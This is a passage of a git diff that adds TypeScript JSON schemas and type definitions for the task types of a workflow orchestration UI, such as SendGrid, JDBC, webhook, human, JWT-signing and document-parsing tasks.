inputParameters: { + anyOf: [ + { + type: "object", + properties: { + inputColumns: { + anyOf: [ + { + type: "object", + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + outputColumns: { + anyOf: [ + { + type: "array", + items: { type: "string" }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + additionalProperties: true, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + type: { const: TaskType.BUSINESS_RULE }, + }, + additionalProperties: true, +}; + +export const sendgridMailRequestSchema = { + $id: "/properties/tasks/sendgridSchema/properties/inputParameters", + type: "object", + required: ["from", "to", "contentType", "content", "sendgridConfiguration"], + properties: { + from: { + type: "string", + }, + to: { + type: "string", + }, + subject: { + type: "string", + }, + contentType: { + type: "string", + }, + content: { + type: "string", + }, + sendgridConfiguration: { + type: "string", + }, + }, + + additionalProperties: true, +}; + +export const sendgridSchema = { + $id: "/properties/tasks/sendgridSchema", + type: "object", + description: "Send email using sendgrid", + default: { + name: "sendgrid_task_ref", + taskReferenceName: "sendgrid_task_ref", + type: TaskType.SENDGRID, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.SENDGRID }, + inputParameters: { $ref: sendgridMailRequestSchema.$id }, + additionalProperties: true, + }, +}; + +export const subWorkflowTaskSchema = { + $id: "/properties/tasks/subWorkflowTask", + type: "object", + description: "sub workflow variable", + default: { + name: "sub_workflow_ref", + taskReferenceName: "sub_workflow_ref", + type: TaskType.SUB_WORKFLOW, + }, + required: [ + "name", + "taskReferenceName", + "type", + "inputParameters", + "subWorkflowParam", + ], + properties: { + inputParameters: { + $ref: inputParameters.$id, + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + subWorkflowParam: { + type: "object", + properties: { + name: { + type: "string", + }, + version: { + type: ["integer", "string"], + }, + taskToDomain: { + type: "object", + additionalProperties: true, + }, + workflowDefinition: { + anyOf: [ + { + type: "string", + }, + { + $ref: "/workflow-schema", + }, + ], + }, + }, + }, + type: { const: TaskType.SUB_WORKFLOW }, + }, + additionalProperties: true, +}; + +export const startWorkflowTaskSchema = { + $id: "/properties/tasks/starkWorkflow", + type: "object", + description: "Start Workflow", + default: { + name: "start_workflow", + taskReferenceName: "start_workflow_ref", + inputParameters: { + startWorkflow: { + name: "image_convert_resize", + input: {}, + }, + }, + type: TaskType.START_WORKFLOW, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + type: { const: TaskType.START_WORKFLOW }, + }, +}; + +export const webhookTaskSchema = { + $id: "/properties/tasks/webhook", + type: "object", + description: "Wait For Webhook Task", + default: { + name: "webhook", + taskReferenceName: "webhook_ref", + inputParameters: { + matches: { + type: "object", + }, + }, + type: TaskType.WAIT_FOR_WEBHOOK, + required: ["matches"], + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + matches: { + anyOf: [ + { + type: "object", + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + type: { const: TaskType.WAIT_FOR_WEBHOOK }, + }, +}; + +export const humanTaskSchema = { + $id: "/properties/tasks/human", + type: "object", + description: "Will wait for human interaction", + default: { + name: "human_name", + taskReferenceName: "human_ref", + type: TaskType.HUMAN, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.HUMAN }, + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + _humanTaskTemplate: { + type: "string", + }, + _humanTaskAssignmentPolicy: { + anyOf: [ + { + type: "object", + properties: { + type: { + type: "string", + }, + subjects: { + type: ["string", "array"], + items: { + type: "string", + }, + }, + groupId: { + type: "string", + }, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + _humanTaskTimeoutPolicy: { + anyOf: [ + { + type: "object", + properties: { + type: { + type: "string", + }, + timeoutSeconds: { + type: "integer", + }, + subjects: { + type: ["string", "array"], + items: { + type: "string", + }, + }, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + additionalProperties: true, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + additionalProperties: true, +}; + +export const jdbcTaskSchema = { + $id: "/properties/tasks/jdbcTaskSchema", + type: "object", + description: "JDBC task", + default: { + name: "jdbc_task_ref", + taskReferenceName: "jdbc_task_ref", + type: TaskType.JDBC, + inputParameters: { + connectionId: "", // TODO: will be deprecated + integrationName: "", + statement: "SELECT * FROM tableName WHERE id=?", + parameters: [], + expectedUpdateCount: 0, + jdbcType: JDBCType.SELECT, + }, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + connectionId: { + type: "string", + }, + integrationName: { type: "string" }, + statement: { + type: "string", + }, + parameters: { + anyOf: [ + { + type: "array", + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + expectedUpdateCount: { + type: "string", + }, + type: { + type: "string", + enum: Object.values(JDBCType), + }, + }, + required: ["integrationName", "statement", "type"], + additionalProperties: true, + }, + type: { const: TaskType.JDBC }, + }, + additionalProperties: true, +}; + +export const updateSecretTaskSchema = { + $id: "/properties/tasks/updateSecretTaskSchema", + type: "object", + description: "Update secret task", + default: { + name: "update_secret_task_ref", + taskReferenceName: "update_secret_task_ref", + type: TaskType.UPDATE_SECRET, + inputParameters: { + _secrets: { + secretKey: "my_token", + secretValue: "token value", + }, + }, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + _secrets: { + anyOf: [ + { + type: "object", + properties: { + secretKey: { + type: "string", + }, + secretValue: { + type: "string", + }, + }, + required: ["secretKey", "secretValue"], + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + required: ["_secrets"], + additionalProperties: false, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + type: { const: TaskType.UPDATE_SECRET }, + }, + additionalProperties: true, +}; + +export const queryProcessorTaskSchema = { + $id: "/properties/tasks/queryProcessorTaskSchema", + type: "object", + description: "Query processor task", + default: { + name: "query_processor_task_ref", + taskReferenceName: "query_processor_task_ref", + type: TaskType.QUERY_PROCESSOR, + inputParameters: { + workflowNames: [], + statuses: [], + queryType: QueryProcessorType.CONDUCTOR_API, + }, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + workflowNames: { + anyOf: [ + { + type: "array", + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + statuses: { + anyOf: [ + { + type: "array", + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + queryType: { + type: "string", + enum: Object.values(QueryProcessorType), + }, + }, + required: ["queryType"], + additionalProperties: true, + }, + type: { const: TaskType.QUERY_PROCESSOR }, + }, + additionalProperties: true, +}; + +export const getSignedJwtTaskSchema = { + $id: "/properties/tasks/getSignedJwtTaskSchema", + type: "object", + description: "Get signed JWT task", + default: { + name: "get_signed_jwt_task_ref", + taskReferenceName: "get_signed_jwt_task_ref", + type: TaskType.GET_SIGNED_JWT, + inputParameters: { + subject: "", + issuer: "", + privateKey: "", + privateKeyId: "", + audience: "", + ttlInSecond: 0, + scopes: [], + algorithm: GetSignedJWTAlgorithmType.RS256, + }, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + subject: { + type: "string", + }, + issuer: { + type: "string", + }, + privateKey: { + type: "string", + }, + privateKeyId: { + type: "string", + }, + audience: { + type: "string", + }, + ttlInSecond: { + anyOf: [ + { + type: "number", + }, + { + type: "string", + pattern: ".*\\$\\{.*", + }, + ], + }, + scopes: { + anyOf: [ + { + type: "array", + items: { + type: "string", + }, + }, + { + type: "string", + pattern: ".*\\$\\{.*", + }, + ], + }, + algorithm: { + type: "string", + enum: Object.values(GetSignedJWTAlgorithmType), + }, + }, + required: [], + additionalProperties: true, + }, + type: { const: TaskType.GET_SIGNED_JWT }, + }, + additionalProperties: true, +}; + +export const opsGenieTaskSchema = { + $id: "/properties/tasks/opsGenieTaskSchema", + type: "object", + description: "Ops genie task", + default: { + name: "ops_genie_task_ref", + taskReferenceName: "ops_genie_task_ref", + type: TaskType.OPS_GENIE, + inputParameters: {}, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + alias: { + type: "string", + }, + description: { + type: "string", + }, + message: { + type: "string", + }, + }, + required: [], + additionalProperties: true, + }, + type: { const: TaskType.OPS_GENIE }, + }, + additionalProperties: true, +}; + +export const updateTaskSchema = { + $id: "/properties/tasks/updateTask", + type: "object", + description: "Update task", + default: { + name: "update_task_ref", + taskReferenceName: "update_task_ref", + type: TaskType.UPDATE_TASK, + inputParameters: {}, + }, + required: [], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + taskStatus: { + anyOf: [ + { + type: "string", + enum: Object.values(UpdateTaskStatus), + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + taskRefName: { + type: "string", + }, + workflowId: { + type: "string", + }, + taskId: { + type: "string", + }, + taskOutput: { + type: "object", + }, + mergeOutput: { + type: "boolean", + }, + }, + additionalProperties: true, + }, + type: { const: TaskType.UPDATE_TASK }, + }, + additionalProperties: true, +}; + +export const getWorkflowSchema = { + $id: "/properties/tasks/getWorkflowSchema", + type: "object", + description: "Get Workflow", + default: { + name: "get_workflow_task_ref", + taskReferenceName: "get_workflow_task_ref", + type: TaskType.UPDATE_TASK, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.GET_WORKFLOW }, + workflowId: { + type: "string", + }, + includeTasks: { + type: "boolean", + }, + }, + additionalProperties: true, +}; + +export const chunkTextTaskSchema = { + $id: "/properties/tasks/chunkTextTaskSchema", + type: "object", + description: "Chunk text task", + default: { + name: "chunk_text_task_ref", + taskReferenceName: "chunk_text_task_ref", + type: TaskType.CHUNK_TEXT, + }, + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + type: ["object", "string"], + properties: { + text: { + type: "string", + }, + chunkSize: { + type: "number", + }, + mediaType: { + type: "string", + }, + }, + required: [], + additionalProperties: true, + }, + type: { const: TaskType.CHUNK_TEXT }, + }, +}; + +export const listFilesTaskSchema = { + $id: "/properties/tasks/listFilesTaskSchema", + type: "object", + description: "List Files task", + default: { + name: "list_files_task_ref", + taskReferenceName: "list_files_task_ref", + type: TaskType.LIST_FILES, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.LIST_FILES }, + inputParameters: { + type: "object", + required: ["inputLocation"], + properties: { + inputLocation: { + type: "string", + }, + integrationName: { + type: "string", + }, + outputLocation: { + type: "string", + }, + fileTypes: { + type: "array", + items: { + type: "string", + }, + }, + integrationNames: { + type: "object", + additionalProperties: { + type: "string", + }, + }, + }, + additionalProperties: true, + }, + }, +}; + +export const parseDocumentTaskSchema = { + $id: "/properties/tasks/parseDocumentTaskSchema", + type: "object", + description: "Parse document", + default: { + name: "parse_document_task_ref", + taskReferenceName: "parse_document_task_ref", + type: TaskType.PARSE_DOCUMENT, + }, + required: [], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.PARSE_DOCUMENT }, + integrationName: { + type: "string", + }, + url: { + type: "string", + }, + mediaType: { + type: "string", + }, + chunkSize: { + type: "number", + }, + }, + additionalProperties: true, +}; + +export const tasksItemsSchema = { + $id: "/properties/tasks", + type: "array", + title: "Workflow Tasks", + description: "This list holds the tasks for your workflow.", + default: [], + items: { + $id: "/properties/tasks/items", + oneOf: [ + { $ref: simpleTaskSchema.$id }, + { $ref: yieldTaskSchema.$id }, + { $ref: doWhileSchema.$id }, + { $ref: forkTaskSchema.$id }, + { $ref: joinTaskSchema.$id }, + { $ref: waitSchema.$id }, + { $ref: forkJoinDynamicSchema.$id }, + { $ref: dynamicTaskSchema.$id }, + { $ref: terminateTaskSchema.$id }, + { $ref: setVariableTaskSchema.$id }, + { $ref: subWorkflowTaskSchema.$id }, + { $ref: jsonJQTaskSchema.$id }, + { $ref: httpTaskSchema.$id }, + { $ref: switchTaskSchema.$id }, + { $ref: inlineTaskSchema.$id }, + { $ref: eventTaskSchema.$id }, + { $ref: kafkaRequestTaskSchema.$id }, + { $ref: terminateWorkflowSchema.$id }, + { $ref: genericSchema.$id }, + { $ref: businessRuleSchema.$id }, + { $ref: sendgridSchema.$id }, + { $ref: humanTaskSchema.$id }, + { $ref: startWorkflowTaskSchema.$id }, + { $ref: httpPollTaskSchema.$id }, + { $ref: webhookTaskSchema.$id }, + { $ref: jdbcTaskSchema.$id }, + { $ref: updateSecretTaskSchema.$id }, + { $ref: queryProcessorTaskSchema.$id }, + { $ref: opsGenieTaskSchema.$id }, + { $ref: getSignedJwtTaskSchema.$id }, + { $ref: updateTaskSchema.$id }, + { $ref: getWorkflowSchema.$id }, + { $ref: chunkTextTaskSchema.$id }, + { $ref: listFilesTaskSchema.$id }, + { $ref: parseDocumentTaskSchema.$id }, + ], + }, +}; + +export const schemasByType = { + [TaskType.SIMPLE]: simpleTaskSchema, + [TaskType.YIELD]: yieldTaskSchema, + [TaskType.DO_WHILE]: doWhileSchema, + [TaskType.FORK_JOIN]: forkTaskSchema, + [TaskType.WAIT]: waitSchema, + [TaskType.FORK_JOIN_DYNAMIC]: forkJoinDynamicSchema, + [TaskType.DYNAMIC]: dynamicTaskSchema, + [TaskType.TERMINATE]: terminateTaskSchema, + [TaskType.SET_VARIABLE]: setVariableTaskSchema, + [TaskType.SUB_WORKFLOW]: subWorkflowTaskSchema, + [TaskType.JSON_JQ_TRANSFORM]: jsonJQTaskSchema, + [TaskType.HTTP]: httpTaskSchema, + [TaskType.SWITCH]: switchTaskSchema, + [TaskType.INLINE]: inlineTaskSchema, + [TaskType.JOIN]: joinTaskSchema, + [TaskType.EVENT]: eventTaskSchema, + [TaskType.KAFKA_PUBLISH]: kafkaRequestTaskSchema, + [TaskType.TERMINATE_WORKFLOW]: terminateWorkflowSchema, + [TaskType.BUSINESS_RULE]: businessRuleSchema, + [TaskType.SENDGRID]: sendgridSchema, + [TaskType.START]: genericSchema, + [TaskType.DECISION]: genericSchema, + [TaskType.USER_DEFINED]: genericSchema, + [TaskType.LAMBDA]: genericSchema, + [TaskType.EXCLUSIVE_JOIN]: genericSchema, + [TaskType.TERMINAL]: genericSchema, + [TaskType.HUMAN]: humanTaskSchema, + [TaskType.TASK_SUMMARY]: genericSchema, + [TaskType.WAIT_FOR_EVENT]: genericSchema, + [TaskType.WAIT_FOR_WEBHOOK]: webhookTaskSchema, + [TaskType.START_WORKFLOW]: startWorkflowTaskSchema, + [TaskType.HTTP_POLL]: httpPollTaskSchema, + [TaskType.JDBC]: jdbcTaskSchema, + [TaskType.IA_TASK]: genericSchema, + [TaskType.SWITCH_JOIN]: genericSchema, // Pseudo task does not really exist + [TaskType.LLM_TEXT_COMPLETE]: genericSchema, + [TaskType.LLM_GENERATE_EMBEDDINGS]: genericSchema, + [TaskType.LLM_GET_EMBEDDINGS]: genericSchema, + [TaskType.LLM_STORE_EMBEDDINGS]: genericSchema, + [TaskType.LLM_SEARCH_INDEX]: genericSchema, + [TaskType.LLM_INDEX_DOCUMENT]: genericSchema, + [TaskType.GET_DOCUMENT]: genericSchema, + [TaskType.LLM_CHAT_COMPLETE]: genericSchema, + [TaskType.LLM_INDEX_TEXT]: genericSchema, + [TaskType.UPDATE_SECRET]: updateSecretTaskSchema, + [TaskType.JUMP]: genericSchema, + [TaskType.QUERY_PROCESSOR]: queryProcessorTaskSchema, + [TaskType.OPS_GENIE]: opsGenieTaskSchema, + [TaskType.GET_SIGNED_JWT]: getSignedJwtTaskSchema, + [TaskType.UPDATE_TASK]: updateTaskSchema, + [TaskType.GET_WORKFLOW]: getWorkflowSchema, + [TaskType.GRPC]: genericSchema, + [TaskType.INTEGRATION]: genericSchema, + [TaskType.MCP_REMOTE]: genericSchema, + [TaskType.CHUNK_TEXT]: chunkTextTaskSchema, + [TaskType.LIST_FILES]: listFilesTaskSchema, + [TaskType.PARSE_DOCUMENT]: parseDocumentTaskSchema, + [TaskType.AGENT]: genericSchema, + [TaskType.GET_AGENT_CARD]: genericSchema, + [TaskType.CANCEL_AGENT]: genericSchema, + [TaskType.LLM_SEARCH_EMBEDDINGS]: genericSchema, + [TaskType.LIST_MCP_TOOLS]: genericSchema, + [TaskType.CALL_MCP_TOOL]: genericSchema, + [TaskType.GENERATE_IMAGE]: genericSchema, + [TaskType.GENERATE_AUDIO]: genericSchema, + [TaskType.GENERATE_VIDEO]: genericSchema, + [TaskType.GENERATE_PDF]: genericSchema, +}; + +// Object.values(TaskType) +export const workflowSchema = { + $id: "/workflow-schema", + required: ["name", "version", "tasks", "schemaVersion"], + type: "object", + properties: { + name: { + $id: "/properties/name", + default: "", + description: WORKFLOW_NAME_ERROR_MESSAGE, + maxLength: 100, + pattern: regexToString(WORKFLOW_NAME_REGEX), + title: "Workflow Name", + type: "string", + }, + description: { + $id: "/properties/description", + type: "string", + title: "Workflow Description", + description: "An brief description of your workflow for reference.", + default: "", + }, + version: { + $id: "/properties/version", + default: 0, + description: "An explanation about the purpose of this instance.", + title: "The version schema", + minimum: 1, + type: "integer", + }, + tasks: { + $ref: tasksItemsSchema.$id, + }, + inputParameters: { + $id: "/properties/inputParameters", + type: "array", + title: "Workflow Input Parameters", + description: "An explanation about the purpose of this instance.", + default: [], + examples: [[]], + items: { + $id: "/properties/inputParameters/items", + }, + }, + outputParameters: { + $id: "/properties/outputParameters", + type: "object", + title: "The outputParameters schema", + description: "An explanation about the purpose of this instance.", + default: {}, + required: [], + properties: {}, + additionalProperties: true, + }, + schemaVersion: { + $id: "/properties/schemaVersion", + type: "integer", + title: "Schema Version", + description: "Fixed schema version", + default: 2, + }, + restartable: { + $id: "/properties/restartable", + type: "boolean", + title: "Workflow restartable", + description: "Specify if the workflow is restartable.", + default: true, + }, + workflowStatusListenerEnabled: { + $id: "/properties/workflowStatusListenerEnabled", + type: "boolean", + title: "The workflowStatusListenerEnabled schema", + description: "An explanation about the purpose of this instance.", + default: false, + }, + ownerEmail: { + $id: "/properties/ownerEmail", + type: "string", + title: "The ownerEmail schema", + description: "An explanation about the purpose of this instance.", + default: "", + }, + timeoutPolicy: { + $id: "/properties/timeoutPolicy", + type: "string", + enum: Object.values(TimeoutPolicy), + title: "The timeoutPolicy schema", + description: "An explanation about the purpose of this instance.", + default: "", + }, + timeoutSeconds: { + $id: "/properties/timeoutSeconds", + type: "integer", + title: "The timeoutSeconds schema", + description: "An explanation about the purpose of this instance.", + default: 0, + }, + failureWorkflow: { + $id: "/properties/failureWorkflow", + type: "string", + title: "Failure Workflow Name", + description: "Failure Workflow", + default: "", + }, + }, + additionalProperties: true, +}; + +export const workflowDefinitionSchemaWithDeps = [ + // Note that order matters here. + nameSchema, + taskReferenceName, + inputParameters, + simpleTaskSchema, + yieldTaskSchema, + doWhileSchema, + joinTaskSchema, + forkTaskSchema, + waitSchema, + forkJoinDynamicSchema, + dynamicTaskSchema, + terminateTaskSchema, + setVariableTaskSchema, + humanTaskSchema, + webhookTaskSchema, + subWorkflowTaskSchema, + terminateWorkflowSchema, + genericSchema, + jsonJQTaskSchema, + eventTaskSchema, + kafkaRequestTaskSchema, + businessRuleSchema, + sendgridMailRequestSchema, + sendgridSchema, + switchTaskSchema, + inlineTaskSchema, + baseHTTPRequestSchema, + httpTaskSchema, + httpPollTaskSchema, + startWorkflowTaskSchema, + tasksItemsSchema, + jdbcTaskSchema, + updateSecretTaskSchema, + queryProcessorTaskSchema, + opsGenieTaskSchema, + getSignedJwtTaskSchema, + updateTaskSchema, + getWorkflowSchema, + chunkTextTaskSchema, + listFilesTaskSchema, + parseDocumentTaskSchema, + // workflow must be at the end, because it wraps another schemas + workflowSchema, +]; diff --git a/ui-next/src/types/SchemasAjv.ts b/ui-next/src/types/SchemasAjv.ts new file mode 100644 index 0000000..a871652 --- /dev/null +++ b/ui-next/src/types/SchemasAjv.ts @@ -0,0 +1,47 @@ +import _dropRight from "lodash/dropRight"; +import _merge from "lodash/merge"; +import _set from "lodash/set"; +import { TimeoutPolicy } from "types/TimeoutPolicy"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; +import { + nameSchema, + workflowDefinitionSchemaWithDeps, + workflowSchema, +} from "./Schemas"; + +export const nameSchemaAjv = _merge({}, nameSchema, { + errorMessage: { + pattern: WORKFLOW_NAME_ERROR_MESSAGE, + }, +}); + +// use 1st parameter as an empty object to prevent mutating the original object +export const workflowSchemaAjv = _merge({}, workflowSchema, { + properties: { + name: { + errorMessage: { + pattern: WORKFLOW_NAME_ERROR_MESSAGE, + maxLength: "name must less than 100 characters.", + }, + }, + timeoutPolicy: { + errorMessage: { + enum: `timeoutPolicy must be ${Object.values(TimeoutPolicy).join( + " | ", + )}.`, + }, + }, + }, +}); + +const schemaWithDepsAjv = _dropRight(workflowDefinitionSchemaWithDeps); + +// override nameSchema +_set(schemaWithDepsAjv, 0, nameSchemaAjv); + +export const workflowDefinitionSchemaWithDepsAjv = [ + // Note that order matters here. + ...schemaWithDepsAjv, + // workflow must be at the end, because it wraps another schemas + workflowSchemaAjv, +]; diff --git a/ui-next/src/types/Secret.ts b/ui-next/src/types/Secret.ts new file mode 100644 index 0000000..0089be2 --- /dev/null +++ b/ui-next/src/types/Secret.ts @@ -0,0 +1,7 @@ +import { TagDto } from "./Tag"; + +export interface SecretDTO { + name: string; + value: string; + tags?: TagDto[]; +} diff --git a/ui-next/src/types/ServiceDefinition.ts b/ui-next/src/types/ServiceDefinition.ts new file mode 100644 index 0000000..3115c0d --- /dev/null +++ b/ui-next/src/types/ServiceDefinition.ts @@ -0,0 +1,12 @@ +import { Tag } from "./common"; + +export type ServiceDefinition = { + name: string; + type: string; + location: string; + createdBy: string; + updatedBy: string; + createTime: number; + updateTime: number; + tags: Tag[]; +}; diff --git a/ui-next/src/types/Tag.ts b/ui-next/src/types/Tag.ts new file mode 100644 index 0000000..ac1349a --- /dev/null +++ b/ui-next/src/types/Tag.ts @@ -0,0 +1,2 @@ +import { Tag } from "./common"; +export type { Tag as TagDto }; diff --git a/ui-next/src/types/TaskDefinition.ts b/ui-next/src/types/TaskDefinition.ts new file mode 100644 index 0000000..71b7252 --- /dev/null +++ b/ui-next/src/types/TaskDefinition.ts @@ -0,0 +1,31 @@ +export type TaskDefinitionDto = { + backoffScaleFactor: number; + concurrentExecLimit?: number; + createTime: number; + createdBy: string; + description: string; + inputKeys: string[]; + inputTemplate: Record; + name: string; + outputKeys: string[]; + ownerEmail: string; + pollTimeoutSeconds: number; + rateLimitFrequencyInSeconds: number; + rateLimitPerFrequency: number; + responseTimeoutSeconds: number; + retryCount: number; + retryDelaySeconds: number; + retryLogic: string; + timeoutPolicy: string; + timeoutSeconds: number; + updateTime?: number; + updatedBy?: string; + inputSchema?: { + name: string; + version?: number; + }; + outputSchema?: { + name: string; + version?: number; + }; +}; diff --git a/ui-next/src/types/TaskExecution.ts b/ui-next/src/types/TaskExecution.ts new file mode 100644 index 0000000..f78e49c --- /dev/null +++ b/ui-next/src/types/TaskExecution.ts @@ -0,0 +1,25 @@ +import { TaskType } from "types/common"; +import { TaskStatus } from "./TaskStatus"; + +export type TaskExecutionDto = { + workflowId: string; + workflowType: string; + scheduledTime: string; + startTime: string; + updateTime: string; + endTime: string; + status: TaskStatus; + executionTime: number; + queueWaitTime: number; + taskDefName: string; + taskType: TaskType; + input: string; + output: string; + taskId: string; + workflowPriority: number; +}; + +export type TaskExecutionResult = { + results: TaskExecutionDto[]; + totalHits: number; +}; diff --git a/ui-next/src/types/TaskLog.ts b/ui-next/src/types/TaskLog.ts new file mode 100644 index 0000000..df13c58 --- /dev/null +++ b/ui-next/src/types/TaskLog.ts @@ -0,0 +1,5 @@ +export interface TaskLog { + createdTime: number | string; + log: string; + taskId: string; +} diff --git a/ui-next/src/types/TaskStatus.ts b/ui-next/src/types/TaskStatus.ts new file mode 100644 index 0000000..bf30210 --- /dev/null +++ b/ui-next/src/types/TaskStatus.ts @@ -0,0 +1,15 @@ +export enum TaskStatus { + COMPLETED = "COMPLETED", + IN_PROGRESS = "IN_PROGRESS", + FAILED = "FAILED", + FAILED_WITH_TERMINAL_ERROR = "FAILED_WITH_TERMINAL_ERROR", + + SCHEDULED = "SCHEDULED", + CANCELED = "CANCELED", + COMPLETED_WITH_ERRORS = "COMPLETED_WITH_ERRORS", + TIMED_OUT = "TIMED_OUT", + SKIPPED = "SKIPPED", + + PENDING = "PENDING", + NULL = "NULL", +} diff --git a/ui-next/src/types/TaskType.ts b/ui-next/src/types/TaskType.ts new file mode 100644 index 0000000..d9ddea2 --- /dev/null +++ b/ui-next/src/types/TaskType.ts @@ -0,0 +1,672 @@ +import { ExecutedData } from "./Execution"; +import { TaskDefinitionDto } from "./TaskDefinition"; +import { TaskType } from "./common"; + +// Copied and fixed from codegen. Use this one. +export enum PollingStrategy { + FIXED = "FIXED", + LINEAR_BACKOFF = "LINEAR_BACKOFF", + EXPONENTIAL_BACKOFF = "EXPONENTIAL_BACKOFF", +} + +// This is copy pasted from the SDK. We should probably use the SDK itself to hit the apis. + +export interface CommonTaskDef { + name: string; + taskReferenceName: string; + type: TaskType; + executionData?: Partial; + taskDefinition?: TaskDefinitionDto; + description?: string; + optional?: boolean; +} + +export interface JoinTaskDef extends CommonTaskDef { + type: TaskType.JOIN; + inputParameters?: Record; + joinOn: string[]; + evaluatorType?: string; // Will change when we get extra details + expression?: string; + asyncComplete?: boolean; +} + +export interface SwitchTaskDef extends CommonTaskDef { + inputParameters: Record; + type: TaskType.SWITCH; + decisionCases: Record; + defaultCase: CommonTaskDef[]; + evaluatorType: "value-param" | "javascript"; + expression: string; +} + +export enum HTTPMethods { + GET = "GET", + HEAD = "HEAD", + POST = "POST", + PUT = "PUT", + PATCH = "PATCH", + DELETE = "DELETE", + OPTIONS = "OPTIONS", + TRACE = "TRACE", +} + +export enum GRPCMethodTypes { + UNARY = "UNARY", + SERVER_STREAMING = "SERVER_STREAMING", + CLIENT_STREAMING = "CLIENT_STREAMING", + BIDIRECTIONAL_STREAMING = "BIDIRECTIONAL_STREAMING", +} + +export interface HttpInputParameters { + uri: string; + method: HTTPMethods | string; + accept?: string; + contentType?: string; + headers?: Record; + body?: unknown; + encode?: boolean; + hedgingConfig?: { maxAttempts?: number }; +} + +export interface HttpTaskDef extends CommonTaskDef { + inputParameters: + | (HttpInputParameters & { + http_request?: never; + }) + | { http_request?: HttpInputParameters }; + type: TaskType.HTTP; + asyncComplete?: boolean; + optional?: boolean; +} + +export interface GrpcTaskDef extends CommonTaskDef { + type: TaskType.GRPC; + inputParameters?: { + service?: string; + method?: string; + host?: string; + port?: number; + useSSL?: boolean; + trustCert?: boolean; + request?: Record; + headers?: Record; + inputType?: string; + methodType?: string; + outputType?: string; + hedgingConfig?: { maxAttempts?: number }; + }; +} + +export interface MCPTaskDef extends CommonTaskDef { + type: TaskType.INTEGRATION; + inputParameters?: { + service?: string; + method?: string; + useSSL?: boolean; + trustCert?: boolean; + request?: Record; + headers?: Record; + inputType?: string; + outputType?: string; + hedgingConfig?: { maxAttempts?: number }; + integrationType?: string; + }; +} + +export interface MCPRemoteTaskDef extends CommonTaskDef { + type: TaskType.MCP_REMOTE; + inputParameters?: { + method?: string; + url?: string; + request?: Record; + headers?: Record; + }; +} + +export interface HttpPollTaskDef extends CommonTaskDef { + inputParameters: { + [x: string]: unknown; + http_request: HttpInputParameters & { + pollingInterval: string; + pollingStrategy: PollingStrategy; + terminationCondition: string; + }; + }; + type: TaskType.HTTP_POLL; + asyncComplete?: boolean; +} + +export interface DoWhileTaskDef extends CommonTaskDef { + inputParameters: Record; + type: TaskType.DO_WHILE; + startDelay?: number; + optional?: boolean; + asyncComplete?: boolean; + loopCondition: string; + evaluatorType: string; + loopOver: CommonTaskDef[]; + keepLastN?: number; +} + +export interface SubWorkflowTaskDef extends CommonTaskDef { + type: TaskType.SUB_WORKFLOW; + inputParameters?: Record; + subWorkflowParam: { + name: string; + version?: number; + taskToDomain?: Record; + }; +} + +export interface TerminateTaskDef extends CommonTaskDef { + inputParameters: { + terminationStatus: "COMPLETED" | "FAILED"; + workflowOutput?: Record; + terminationReason?: string; + }; + type: TaskType.TERMINATE; + startDelay?: number; + optional?: boolean; +} +export interface ForkableTask extends CommonTaskDef { + forkTasks?: Array>; +} + +export interface 